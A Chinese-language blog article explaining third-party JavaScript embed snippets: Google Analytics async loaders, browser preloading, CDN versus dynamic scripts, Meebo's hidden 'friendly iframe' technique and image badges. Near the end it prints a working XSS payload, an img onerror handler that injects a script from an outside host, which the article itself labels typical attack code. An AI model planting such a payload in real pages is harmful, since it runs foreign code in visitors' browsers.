第三方Javascript开发系列之投放代码
第三方Javascript开发系列之投放代码
在Web网页开发中有一个有意思的分支，既第三方Javascript脚本的开发。所谓第三方Javascript脚本，就是第三方服务商将自己的服务通过“HTML投放代码”的形式提供给网站使用。由于Javascript的动态特性，一般的第三方服务都会直接或间接的提供Javascript文件给网站页面加载。
投放代码与异步加载
本文先从第三方Javascript脚本的重要组成部分“投放代码”讲起。先从一个最例子看起：Google Analytics（以下简称GA），是Google提供的用于网站监测等一系列功能的服务。网站开发者将GA提供的投放代码放到自己网站上需要监测的页面（一般是全站添加）。
<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->以上是GA压缩过后的投放代码，可能看起来不是很明显。这里美化一下，看起来会容易些，如下：
<!-- Google Analytics -->
<script>
/**
* Creates a temporary global ga object and loads analytics.js.
* Parameters o, a, and m are all used internally. They could have been
* declared using 'var', instead they are declared as parameters to save
* 4 bytes ('var ').
*
* @param {Window} i The global context object.
* @param {HTMLDocument} s The DOM document object.
* @param {string} o Must be 'script'.
* @param {string} g Protocol relative URL of the analytics.js script.
* @param {string} r Global name of analytics object. Defaults to 'ga'.
* @param {HTMLElement} a Async script tag.
* @param {HTMLElement} m First script tag in document.
*/
(function(i, s, o, g, r, a, m){
i['GoogleAnalyticsObject'] = r; // Acts as a pointer to support renaming.
// Creates an initial ga() function.
// The queued commands will be executed once analytics.js loads.
i[r] = i[r] || function() {
(i[r].q = i[r].q || []).push(arguments)
},
// Sets the time (as an integer) this tag was executed.
// Used for timing hits.
i[r].l = 1 * new Date();
// Insert the script tag asynchronously.
// Inserts above current tag to prevent blocking in addition to using the
// async attribute.
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
// Creates a default tracker with automatic cookie domain configuration.
ga('create', 'UA-XXXXX-Y', 'auto');
// Sends a pageview hit from the tracker just created.
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->其实做的事情很简单：创建一个script标签，设置其src值为GA的第三方Javascript地址。然后插到页面的DOM树中，再初始化ga的配置。这样来实现浏览器“异步”加载第三方Javascript的功能。之所以采用异步实现，是为了不block掉页面正常的逻辑。这也是在开发第三方脚本时很重要的一个要求：
不影响页面原有功能
投放代码的形式有很多种，上面提到的最常见一些。GA其实还提供了另一种投放代码，如下：
<!-- Google Analytics -->
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<script async src='//www.google-analytics.com/analytics.js'></script>
<!-- End Google Analytics -->GA的官方文档里面说明了：如果开发者的网站主要服务的用户较大比例使用高级浏览器（Chrome，IE11及以上）或者移动端浏览器占比较大那么推荐使用这种形式的投放代码。为什么呢？
首先从浏览器的加载执行顺序开始说起。之前已经说到前一种形式是使用JS来动态创建script标签以实现异步加载外链的JS代码，这样可以不Block掉页面。这是它的巨大优势，但是同时也带来了一个劣势。
<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script>
var script = document.createElement('script');
script.src = "http://example.com/test.js?rtt=1&a";
document.getElementsByTagName('head')[0].appendChild(script);
</script>
<script>
var script = document.createElement('script');
script.src = "http://example.com/test.js?rtt=1&b";
document.getElementsByTagName('head')[0].appendChild(script);
</script>上述代码中动态加载两份不同的Javascript代码，虽然使用了异步加载Trick，但是实际浏览器下载的过程是这样的：
因为Javascript可以操作CSSOM，所以浏览器在加载Javascript的时候需要等到CSS完全加载解析完毕之后才能执行 script 标签中的Javascript。再看下面的代码：
<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script src="http://example.com/test.js?rtt=1&a"></script>
<script src="http://example.com/test.js?rtt=1&b" ></script>上述代码，浏览器是并行下载CSS文件和Javascript文件的，如下图：
现代浏览器（包括 IE8/9 和 Android 2.3/2.2）会预解析查找可以下载的外部文件，并行下载并保持执行不变。不过浏览器无法通过解析HTML来识别动态创建的外链JS地址，所以也无法预下载它们。同时现代浏览器提供了async属性，浏览器会异步的加载async的外链script标签，不会block掉页面（但不保证执行顺序）。这就同时享受到了预下载和异步加载两个福利，带来巨大的性能提升。所以对于使用现代浏览器用户多的网站更推荐使用这种方式。
静态与动态
大部分第三方服务是使用CDN来承载自己的外链JS脚本，比如GA。也有一部分是使用动态server（例如PHP服务器）来生成外链的JS脚本，它的优势在于针对不同的开发者提供不同的代码，免去了初始个性化数据的获取请求。例如：
<script src="http://thirdsparty.com/service.js?userid=1234567 />服务器会根据userid来生成专供指定开发者网站的代码。这些代码里面通常带有其个性化的配置数据，这样减少了一次配置数据的请求，大大提前了代码执行的时间点。
当然这样也是有缺点的，最重要的一点就是比较难利用CDN加速。大部分CDN通常根据文件名来缓存静态文件，即使把Javascript脚本改成“service_1234567.js”的形式缓存到CDN上，最后也会因为文件太多导致脚本更新困难的问题。
除此之外，有些开发者因为安全隐私等原因喜欢将Javascript脚本放在自己的服务器上，然后手动更新。这种情况，动态服务器生成的脚本就比较难满足这个小众需求了。
另外因为CDN不能使用，所以当动态服务器不稳定时，容易导致加载javascript脚本的时间特别长。虽然可以使用异步加载，但是浏览器在加载东西的时候左上角还是会出现loading。普通用户可以感知到页面还没有加载完成。这会让用户很困惑：“页面都已经展现，可为什么浏览器还在展现，到底在做什么请求呢？”
甚至会影响到网站本身的业务。因为单个浏览器标签同时下载的连接数有限制，导致其他网页原本的请求被Block掉。
Friendly Iframe
为了解决这个问题，meebo的工程师们想到了一个用Friendly Iframe来解决js加载时候的问题。所谓Friendly Iframe即是iframe的domian和其所在主页面的domain是相同的。例子如下：
(function(url){
// 第一部分
var dom,doc,where,iframe = document.createElement('iframe');
iframe.src = "javascript:false";
iframe.title = ""; iframe.role="presentation"; // a11y
(iframe.frameElement || iframe).style.cssText = "width: 0; height: 0; border: 0";
where = document.getElementsByTagName('script');
where = where[where.length - 1];
where.parentNode.insertBefore(iframe, where);
// 第二部分
try {
doc = iframe.contentWindow.document;
} catch(e) {
// IE下如果主页面修改过document.domain，那么访问用js创建的匿名iframe会发生跨域问题，必须通过js伪协议修改iframe内部的domain
dom = document.domain;
iframe.src="javascript:var d=document.open();d.domain='"+dom+"';void(0);";
doc = iframe.contentWindow.document;
}
doc.open()._l = function() {
var js = this.createElement("script");
if(dom) this.domain = dom;
js.id = "js-iframe-async";
js.src = url;
this.body.appendChild(js);
};
doc.write('<body onload="document._l();">');
doc.close();
})('http://some.site.com/script.js');上述代码分为两个部分：
- 创建了一个隐藏的Friendly Iframe然后插入到主页面中
- 在iframe onload之后加载javascript脚本
这样加载Javascript，浏览器就不会出现loading，提升普通用户的体验。当然这还有一个附带的好处，第三方的Javascript代码在独立的iframe中运行，不会与主页面中的JS相互干扰。毕竟即使现在还是有不少小众网站会选择扩展Native对象的方法。作者本人就遇到过有网站开发者修改Array.prototype.push方法的情况。
当然这有方法还是有缺陷的：投放代码本身太过复杂，网页开发者在实际使用时容易有问题。个人推荐的做法是：如何加载是网站开发者来决定的事情，第三方Javascript脚本应该要支持能想得到的各种奇技淫巧。美国互动广告局（The Interactive Advertising Bureau，简称IAB）提出过一个异步加载广告代码的Best Practice。里面提到了用变量 inDapIF 作为标志，提示Javascript脚本在动态iframe内部执行。所以我们可以用如下方法来判断：
var GLOBAL = window;
if (window.parent !== window && window['inDapIF']) {
GLOBAL = window.parent;
}
// 使用GLOBAL替代window
// TODO其他类型的投放代码
有些第三方服务不需要直接获取页面的数据，它们只需要有展示自己内容的区域即可，比如：
<iframe height='300' scrolling='no' src='//codepen.io/zmmbreeze/embed/vLbpa/?height=300&theme-id=20219&default-tab=css,result&embed-version=2' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/zmmbreeze/pen/vLbpa/'>DOWN-TO-THE-LINE control for radical web typography</a> by mzhou (<a href='http://codepen.io/zmmbreeze'>@zmmbreeze</a>) on <a href='http://codepen.io'>CodePen</a>.
</iframe>因为使用了不同域名下的iframe，所以是在隔离环境内运行第三方代码。这样第三方代码就不会和开发者站点的代码冲突。而且因为域名不同，天然提供安全性的保障，第三方代码不能获取或修改开发者站点的重要信息。缺点也很明显：就是能做的事情仅限于iframe内部。比较适合不需要访问页面就可以提供内容的需求。
自从Web 2.0开始，UGC类型的网站越来越多，用户可以自主黏贴文字甚至是HTML代码到网站中去，例如社交网站的简介。所以有的时候第三方服务的使用者并直接是网站开发者，而是网站的用户。网站为了安全一般不会让用户直接贴script表情或者是iframe等特殊HTML标签。所以有些第三方服务提供的投放代码仅仅是一个img标签，将需要展示的内容放在图片中。如果你经常浏览github，你会发现有个集成测试的工具叫做Travis CI。它提供了一段投放代码用于展示开源库的测试状态，如下：
<img src="https://travis-ci.org/zmmbreeze/lining.js.svg?branch=master"/>至此头脑较为发散的同学可能已经想到如下的投放代码了：
<img src="#" onerror="(function (d) {var s = d.createElement('script');s.src='http://bqq.gtimg.com/da/i.js';d.getElementsByTagName('head')[0].appendChild(s);})(document)" />虽然这是一段典型的XSS攻击代码，但是它也可以称得上是一种投放代码......
最后说明下：这里没有提到用
new Image().src方式（或者其他类似手段）来达到预先异步下载Javascript文件的目的，然后利用了浏览器缓存再次实际下载Javascript文件的时候就直接从缓存里面拉取的方式。因为第三方的Javascript代码基本为了保持文件及时更新，都不会设置很长的缓存，甚至没有缓存。所以这些方法不再讨论的行列里面。